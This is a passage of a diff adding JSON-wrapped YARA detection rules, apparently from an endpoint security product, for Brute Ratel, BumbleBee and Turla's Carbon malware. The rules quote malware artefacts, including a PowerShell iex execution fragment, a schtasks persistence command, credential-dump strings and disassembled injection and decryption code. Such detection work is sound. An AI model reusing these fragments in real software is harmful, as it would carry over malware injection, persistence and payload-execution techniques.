E9     // cmp     r9b, 0E9h\n            75 ??           // jnz     short loc_543DE\n        }\n\n    condition:\n        #stack_recons_1 > 100\n        and 5 of ($syscall_hash_*)\n        and (\n            (1 of ($brute_v1_*))\n            or (1 of ($brute_v2_*) and #stack_recons_2 > 100)\n        )\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bruteratel_badger_9cf7af8b46ae"
+  ],
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.BruteRatel"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.003",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bruteratel_driver_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.578133Z",
+  "creation_date": "2026-03-23T11:46:25.578135Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.578141Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"
+  ],
+  "name": "bruteratel_driver.yar",
+  "content": "rule bruteratel_driver {\n    meta:\n        title = \"Bruteratel Windows Driver\"\n        id = \"c04ef65f-4ac7-47c7-b613-b314511ed780\"\n        description = \"Detects the Brute Ratel C4 (BRC4) framework's kernel driver. This driver is used by the badger malware to maintain persistence by injecting shellcode into winlogon.exe.\\nThe injected shellcode is executed through a ThreadWorkerFactory, which allows the malware to establish persistence and maintain communication with its command and control infrastructure.\"\n        references = \"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/\"\n        date = \"2022-07-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.persistence;attack.t1543.003;attack.defense_evasion;attack.t1055.002\"\n        classification = \"Windows.Malware.BruteRatel\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for this sample:\n        // 31acf37d180ab9afbcf6a4ec5d29c3e19c947641a2d9ce3ce56d71c1f576c069\n\n        $s1 = \"winlogon.exe\" fullword ascii\n        $s2 = \"D:\\\\Source_Code\\\\rookit\\\\heresy\\\\heresy\\\\x64\\\\Release\\\\heresy.pdb\" fullword ascii\n        $s3 = \"\\\\KnownDlls\\\\ntdll.dll\" fullword wide\n\n        // WorkerFactory creation\n        $op1 = {\n            BA 03 00 1F 00     // mov     edx, 1F0003h\n            41 FF ?? ??        // call    qword ptr [r14+18h]\n            8B D8              // mov     ebx, eax\n            85 C0              // test    eax, eax\n            78 ??              // js      short loc_140048173\n            4C 8B 4D ??        // mov     r9, [rbp+CompletionPortHandle]\n            48 8D 4D ??        // lea     rcx, [rbp+WorkerFactoryHandleReturn]\n            B8 00 80 00 00     // mov     eax, 8000h\n            48 89 7D ??        // mov     [rbp+WorkerFactoryHandleReturn], rdi\n            48 89 44 24 ??     // mov     [rsp+80h+var_38], rax\n            45 33 C0           // xor     r8d, r8d\n            48 89 44 24 ??     // mov     [rsp+80h+var_40], rax\n            BA FF 00 0F 00     // mov     edx, 0F00FFh\n            48 8B 45 ??        // mov     rax, [rbp+BaseAddress]\n            44 89 64 24 ??     // mov     [rsp+80h+var_48], r12d\n            48 89 7C 24 ??     // mov     [rsp+80h+var_50], rdi\n            48 89 44 24 ??     // mov     qword ptr [rsp+80h+Protect], rax\n            48 83 4C 24 ?? FF  // or      qword ptr [rsp+80h+AllocationType], 0FFFFFFFFFFFFFFFFh\n            41 FF 16           // call    qword ptr [r14]\n        }\n\n        $op2 = {\n            48 83 65 ?? 00        // and     [rbp+var_18], 0\n            48 8D 05 ?? ?? ?? ??  // lea     rax, aZwcreateiocomp ; \"ZwCreateIoCompletion\"\n            48 89 45 ??           // mov     [rbp+ZwCreateIoCompletionStr.Buffer], rax\n            48 8B F9              // mov     rdi, rcx\n            48 8D 05 ?? ?? ?? ?? // lea     rax, aPsgetprocessim ; \"PsGetProcessImageFileName\"\n            C7 45 ?? 28 00 2A 00  // mov     dword ptr [rbp+ZwCreateIoCompletionStr.Length], 2A0028h\n            48 8D 4D ??           // lea     rcx, [rbp+ZwCreateIoCompletionStr] ; SystemRoutineName\n            48 89 45 ??           // mov     [rbp+PsGetProcessImageFileNameStr.Buffer], rax\n            BB 83 01 00 C0        // mov     ebx, 0C0000183h\n            C7 45 ?? 32 00 34 00  // mov     dword ptr [rbp+PsGetProcessImageFileNameStr.Length], 340032h\n            FF 15 ?? ?? ?? ??     // call    cs:MmGetSystemRoutineAddress\n            48 8D 4D ??           // lea     rcx, [rbp+PsGetProcessImageFileNameStr] ; SystemRoutineName\n            48 89 45 ??           // mov     [rbp+ZwCreateIoCompletionAddr], rax\n            FF 15 ?? ?? ?? ??     // call    cs:MmGetSystemRoutineAddress\n            48 8B 0D ?? ?? ?? ??  // mov     rcx, cs:ZwReadFile\n            48 8D 15 ?? ?? ?? ??  // lea     rdx, aNtcreateworker ; \"NtCreateWorkerFactory\"\n            41 BE 59 53 52 48     // mov     r14d, 'HRSY'\n        }\n\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 1MB and 3 of ($s*) and 1 of ($op*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bruteratel_driver"
+  ],
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.BruteRatel"
+  ],
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1543.003",
+    "attack.t1055.002"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bruteratel_injected_badger_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.567067Z",
+  "creation_date": "2026-03-23T11:46:25.567069Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.567075Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"
+  ],
+  "name": "bruteratel_injected_badger.yar",
+  "content": "rule bruteratel_injected_badger {\n    meta:\n        title = \"Bruteratel Memory Injected Badger\"\n        id = \"50598b83-c220-4fe6-9ffb-0827860aa613\"\n        description = \"Detects the Bruteratel framework's injected badger.\\nThe badger is the beacon allowing command and control operations in the Bruteratel framework.\\nThe badger has extensive abilities to spy and control the host computer, as well as defense evasion techniques.\"\n        references = \"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/\"\n        date = \"2022-08-04\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1055.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Framework.BruteRatel\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        $s01 = \"NTPASSWORD\" fullword ascii\n        $s02 = \"LMPASSWORD\" fullword ascii\n        $s03 = \"mem.dmp\" fullword ascii\n        $s04 = \"k[+] Impersonated: '%S\\\\%S'\" fullword wide\n        $s05 = \"[+] DLLs loaded in %ls\" fullword wide\n        $s06 = \"[+] Hooked: 0x%p\" fullword wide\n        $s07 = \"Kerberos\" fullword wide\n        $s08 = \"[+] SeDebug enabled\" fullword wide\n        $s09 = \"[+] DLL block enabled\" fullword wide\n        $s10 = \"ROOT\\\\CIMV2\" fullword wide\n        $s11 = \"[+] Token Vault\" fullword wide\n        $s12 = \"[+] Domain Password Policy:\" fullword wide\n\n    condition:\n        6 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bruteratel_injected_badger"
+  ],
+  "rule_creation_date": "2022-08-04",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Framework.BruteRatel"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.003",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bruteratel_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.580659Z",
+  "creation_date": "2026-03-23T11:46:25.580670Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.580681Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"
+  ],
+  "name": "bruteratel_loader.yar",
+  "content": "rule bruteratel_loader {\n    meta:\n        title = \"Bruteratel Loader\"\n        id = \"9c390750-6412-4e07-b0b1-8151d3eceefd\"\n        description = \"Detects the Bruteratel Loader.\\nThis loader injects the Bruteratel badger payload into process memory. The Bruteratel loader decrypts the payload and uses API calls to inject it into legitimate processes, facilitating the execution of malicious code.\"\n        references = \"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/\"\n        date = \"2022-07-15\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.privilege_escalation;attack.t1055.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.BruteRatel\"\n        context = \"process,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // c85b92d32dd1d294fadd48befbcb7efefef289de568757bc8542cc4ed149789d\n        // ea2876e9175410b6f6719f80ee44b9553960758c7d0f7bed73c0fe9a78d8e669\n        // 1fc7b0e1054d54ce8f1de0cc95976081c7a85c7926c03172a3ddaa672690042c\n        // 06476a4e84460ff18b9260071e4c1fdf1aab0a8a7f08ac5489af3bf01d4e7139\n\n        // badger payload decryption\n        $op1 = {\n            4C 8D 0D ?? ?? ?? ??        // lea     r9, xorkey      ; \"jikoewarfkmzsdlhfnuiwaejrpaw\"\n            66 0F 1F 84 00 00 00 00 00  // nop     word ptr [rax+rax+00000000h]\n            48 8B CB                    // mov     rcx, rbx\n            48 83 F8 1C                 // cmp     rax, 1Ch\n            48 0F 45 C8                 // cmovnz  rcx, rax\n            42 0F B6 04 ??              // movzx   eax, byte ptr [rcx+r9]\n            30 02                       // xor     [rdx], al <- decryption\n            48 8D 41 01                 // lea     rax, [rcx+1]\n            41 FF C0                    // inc     r8d\n            48 8D 52 01                 // lea     rdx, [rdx+1]\n            41 81 F8 ?? ?? ?? ??        // cmp     r8d, 493E0h <- badger's shellcode size\n            72 ??                       // jb      short loc_180002300\n            48 8D 95 ?? ?? ?? ??        // lea     rdx, [rbp+49560h+var_49428]\n            B1 01                       // mov     cl, 1\n            E8 ?? ?? ?? ??              // call    int_NtDelayExecution\n        }\n\n    condition:\n        uint16(0) == 0x5a4d and filesize < 1MB and $op1\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bruteratel_loader"
+  ],
+  "rule_creation_date": "2022-07-15",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.BruteRatel"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055.003",
+    "attack.t1071.001"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-bumblebee_loader_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.565412Z",
+  "creation_date": "2026-03-23T11:46:25.565414Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.565419Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee\nhttps://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/"
+  ],
+  "name": "bumblebee_loader.yar",
+  "content": "rule bumblebee_loader {\n    meta:\n        title = \"BumbleBee Loader\"\n        id = \"3fa72fe6-7fc0-4df7-b58d-069e28841dab\"\n        description = \"Detects BumbleBee, a modular Windows-based malware loader used by multiple threat groups for initial access and payload delivery.\\nThe malware is typically distributed through ISO images, malicious MSI installers, and phishing lures. Once executed, BumbleBee establishes command-and-control (C2) communication and is often used to deploy post-exploitation frameworks such as Cobalt Strike, Sliver, or Meterpreter.\\nIt is recommended to investigate the execution context and surrounding detections to assess whether the detected binary or process is linked with malicious activities.\"\n        references = \"https://malpedia.caad.fkie.fraunhofer.de/details/win.bumblebee\\nhttps://thedfirreport.com/2025/08/05/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira/\"\n        date = \"2025-12-02\"\n        modified = \"2025-12-09\"\n        author = \"HarfangLab\"\n        tags = \"attack.defense_evasion;attack.t1218;attack.t1140;attack.command_and_control;attack.t1071\"\n        classification = \"Windows.Loader.BumbleBee\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 164c28b8c91faaa76c4cd58bae5f32f278fb118f92667ba072b5ba38af316824\n        // 2e18c78ebcf6ba81c65804973b406b7d4c3507722cb7cbbcf9b873dff122430a\n        // 9ba6652231b4169411cc3d735a89e396b0b86e79cbde0f11d58af4b87b5f0deb\n        // c48fafd962c6d0489a78365f9246aa060babe49cbce394326017940c873fb664\n\n        $strings1 = \"http://myexternalip.com/raw\" ascii fullword\n        $strings2 = \"Set objShell = CreateObject(\\\"Wscript.Shell\\\")\" ascii fullword\n        $strings3 = \"$y4 = [System.Text.Encoding]::ASCII.GetString([Byte[]]$y3); $y4 | iex; }\" ascii\n        $strings4 = \"schtasks.exe /F /create /sc minute /mo 4 /TN \\\"\" ascii fullword\n        $strings5 = \"CREATE TABLE serverinfo (key TEXT PRIMARY KEY, value TEXT)\" ascii fullword\n\n        $decrypt_config1 = {\n            4C 8B C1                      // mov     r8, rcx\n            BA 4F 00 00 00                // mov     edx, 4Fh\n            48 8D 0D ?? ?? ?? 00          // lea     rcx, byte_1801F8630\n            E8 ?? ?? 00 00                // call    sub_18000EE1C\n            4C 8B C3                      // mov     r8, rbx\n            48 8D 0D ?? ?? ?? 00          // lea     rcx, byte_1801F8B70\n            BA 4F 00 00 00                // mov     edx, 4Fh\n            E8 ?? ?? 00 00                // call    sub_18000EE1C\n            4C 8B C3                      // mov     r8, rbx\n            48 8D 0D ?? ?? ?? 00          // lea     rcx, byte_1801F7540\n            BA FF 0F 00 00                // mov     edx, 0FFFh\n            E8 ?? ?? 00 00                // call    sub_18000EE1C\n        }\n\n        $decrypt_config2 = {\n            44 8B C1                      // mov     r8d, ecx\n            48 8B D0                      // mov     rdx, rax\n            48 8D 4C 24 30                // lea     rcx, [rsp+148h+var_118]\n            E8 ?? ?? FF FF                // call    sub_180001E90\n            90                            // nop\n            44 8B C3                      // mov     r8d, ebx\n            48 8B D7                      // mov     rdx, rdi\n            48 8D 4C 24 30                // lea     rcx, [rsp+148h+var_118]\n            E8 ?? ?? FF FF                // call    sub_180002210\n            90                            // nop\n            48 8D 4C 24 30                // lea     rcx, [rsp+148h+var_118]\n            E8 ?? ?? FF FF                // call    sub_1800020A0\n            48 8B 9C 24 50 01 00 00       // mov     rbx, [rsp+148h+arg_0]\n            48 81 C4 40 01 00 00          // add     rsp, 140h\n            5F                            // pop     rdi\n            C3                            // retn\n        }\n\n        $decrypt_config3 = {\n            31 C0                         // xor     eax, eax\n            0F B6 4C 24 0F                // movzx   ecx, [rsp+30h+var_21]\n            81 C1 02 8E EE 32             // add     ecx, 32EE8E02h\n            83 C1 01                      // add     ecx, 1\n            81 E9 02 8E EE 32             // sub     ecx, 32EE8E02h\n            88 CA                         // mov     dl, cl\n        }\n\n        $decrypt_config4 = {\n            41 89 CA                      // mov     r10d, ecx\n            41 83 F2 FF                   // xor     r10d, 0FFFFFFFFh\n            89 C6                         // mov     esi, eax\n            44 21 D6                      // and     esi, r10d\n            83 F0 FF                      // xor     eax, 0FFFFFFFFh\n            21 C1                         // and     ecx, eax\n            09 CE                         // or      esi, ecx\n            40 88 F2                      // mov     dl, sil\n            43 88 14 18                   // mov     [r8+r11], dl\n            31 C0                         // xor     eax, eax\n            8B 4C 24 08                   // mov     ecx, [rsp+30h+var_28]\n            83 E8 01                      // sub     eax, 1\n            29 C1                         // sub     ecx, eax\n            89 4C 24 08                   // mov     [rsp+30h+var_28], ecx\n            E9 17 FF FF FF                // jmp     loc_1800020F3\n        }\n\n    condition:\n        all of ($strings*) or 1 of ($decrypt_config*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "bumblebee_loader"
+  ],
+  "rule_creation_date": "2025-12-02",
+  "rule_modified_date": "2025-12-09",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Loader.BumbleBee"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1218",
+    "attack.t1071",
+    "attack.t1140"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-carbon_dropper_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573584Z",
+  "creation_date": "2026-03-23T11:46:25.573586Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573592Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0335/\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+  ],
+  "name": "carbon_dropper.yar",
+  "content": "rule carbon_dropper {\n    meta:\n        title = \"Carbon Dropper\"\n        id = \"9937da83-ea7f-4291-9891-f7b3f3304178\"\n        description = \"Detects the Carbon Dropper, a sophisticated Turla malware used to spy and exfiltrate data off of sensitive organizations.\\nThe Carbon framework consists of four main components: a dropper, a loader, an orchestrator, and an injected library. This dropper specifically uses the CAST-128 algorithm for encrypting configuration files and tasks. The malware exhibits advanced peer-to-peer capabilities, allowing it to dispatch tasks to other computers on the same network via named pipes or TCP communication.\\nIt is recommended to conduct a thorough investigation of network traffic to identify potential lateral movement or data exfiltration activities.\"\n        references = \"https://attack.mitre.org/software/S0335/\\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/\"\n        date = \"2023-02-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0335;attack.defense_evasion;attack.t1027;attack.persistence;attack.t1543.003;attack.command_and_control;attack.t1071.001\"\n        classification = \"Windows.Malware.Carbon\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 0b5e82d4a737238aa057aef3f5b1170ce5e9980bc9b1ecf5712e73ffee175b78\n        // fff5ddb473c6fa667e569b43e952d0ca8d1e28313bd422c33ee99bb86ea673c1\n        // d0234f6abd58566ecdcb88b3ecf552da39838257abaa54dfc6fbe09b3c8a7203\n        // 493e5fae191950b901764868b065ddddffa4f4c9b497022ee2f998b4a94f0fc2\n        // aaa2afe68852cb76bccf7dbb0b541a5d62b7f0b15e47f0a24e63f68f50af167c\n\n        $s1 = \"LUCKY STRIKE!!!\" fullword wide\n        $s2 = \"TOTAL DOMINATION!!!\" fullword wide\n        $s3 = \"Drop res...\" fullword wide\n        $s4 = \"SVCHOST group OK\" fullword wide\n        $s5 = \"[+] Service group has been fixed\" fullword wide\n        $s6 = \"SYSTEM\\\\CurrentControlSet\\\\Services\\\\%s\\\\Parameters\" fullword wide\n        $s7 = \"SERV DLL: %d\" fullword wide\n        $s8 = \" ex_file(): SFileSec failed - %d \" fullword wide\n        $s9 = \"extract_file(): OK\" fullword wide\n\n    condition:\n        4 of ($s*)\n}\n",
+  "rule_count": 1,
+  "rule_names": [
+    "carbon_dropper"
+  ],
+  "rule_creation_date": "2023-02-13",
+  "rule_modified_date": "2025-03-17",
+  "rule_os": [
+    "windows"
+  ],
+  "rule_classifications": [
+    "Windows.Malware.Carbon"
+  ],
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1071.001",
+    "attack.t1543.003",
+    "attack.t1027"
+  ],
+  "rule_score": 100,
+  "rule_context": [
+    "thread",
+    "memory",
+    "file.pe",
+    "process"
+  ],
+  "source": "215dd4e5-9cb3-4e8e-805c-9e96809b7645"
+}
+{
+  "id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645-carbon_encryption_yar",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "215dd4e5-9cb3-4e8e-805c-9e96809b7645",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:46:25.573623Z",
+  "creation_date": "2026-03-23T11:46:25.573625Z",
+  "enabled": true,
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:46:25.573630Z",
+  "rule_level": "critical",
+  "rule_level_override": null,
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/software/S0335/\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/"
+  ],
+  "name": "carbon_encryption.yar",
+  "content": "rule carbon_encryption {\n    meta:\n        title = \"Carbon Encryption\"\n        id = \"7076f57f-26de-4638-98d7-69d1dba7f599\"\n        description = \"Detects the Carbon samples based on encryption with the CAST-128 algorithm, a sophisticated Turla malware used to spy and exfiltrate data from sensitive organizations.\\nCarbon is a multi-component framework consisting of a dropper, loader, orchestrator, and an injected library. This malware uses CAST-128 encryption for securing configuration files and tasks. It features advanced peer-to-peer capabilities to distribute tasks across networked devices using named pipes or TCP communication.\\nIt is recommended to isolate the affected system and analyze network traffic for signs of P2P communication to identify potential command and control activity.\"\n        references = \"https://attack.mitre.org/software/S0335/\\nhttps://www.welivesecurity.com/2017/03/30/carbon-paper-peering-turlas-second-stage-backdoor/\"\n        date = \"2023-02-13\"\n        modified = \"2025-03-17\"\n        author = \"HarfangLab\"\n        tags = \"attack.s0335;attack.defense_evasion;attack.t1027\"\n        classification = \"Windows.Malware.Carbon\"\n        context = \"process,memory,thread,file.pe\"\n        os = \"Windows\"\n        score = 100\n        confidence = \"strong\"\n\n    strings:\n        // Detection for these samples:\n        // 1e340370f2f26aadf82bf26e3a0016df2ae4bae6fbe6b59e95309bdddcd47248\n        // 34761da1ca9de0c562203c57f8907fdb6208bbe91ead6542853e8e36d27377bb\n        // 51bd477c7c20d457b5427da33b726be2f1086cf2322e1473263b3404ceb95d9f\n        // 6e72f55a0e7a1961d10db371f82b7be0b184546c6262767862a5d50eb2fcfc0d\n        // 2b969111dd1968d47b02d6390c92fb622cd03570b02ecf9215031ff03611a2b7\n\n        $x32_key = {\n            C7 45 ?? 12 34 56 78          // mov     [ebp+var_20], 78563412h\n            C7 45 ?? 9A BC DE F0          // mov     [ebp+var_1C], 0F0DEBC9Ah\n            C7 45 ?? FE FC BA 98          // mov     [ebp+var_18], 98BAFCFEh\n            C7 45 ?? 76 54 32 10          // mov     [ebp+var_14], 10325476h\n        }\n\n        $x64_key = {\n            C6 [2] 12                   // mov     byte ptr [rax-18h], 12h\n            C6 [2] 34                   // mov     byte ptr [rax-17h], 34h\n            C6 [2] 56                   // mov     byte ptr [rax-16h], 56h\n            C6 [2] 78                   // mov     byte ptr [rax-15h], 78h\n            C6 [2] 9A                   // mov     byte ptr [rax-14h], 9Ah\n            C6 [2] BC                   // mov     byte ptr [rax-13h], 0BCh\n            C6 [2] DE                   // mov     byte ptr [rax-12h], 0DEh\n            C6 [2] F0                   // mov     byte ptr [rax-11h], 0F0h\n            C6 [2] FE                   // mov     byte ptr [rax-10h], 0FEh\n            C6 [2] FC                   // mov     byte ptr [rax-0Fh], 0FCh\n            C6 [2] BA                  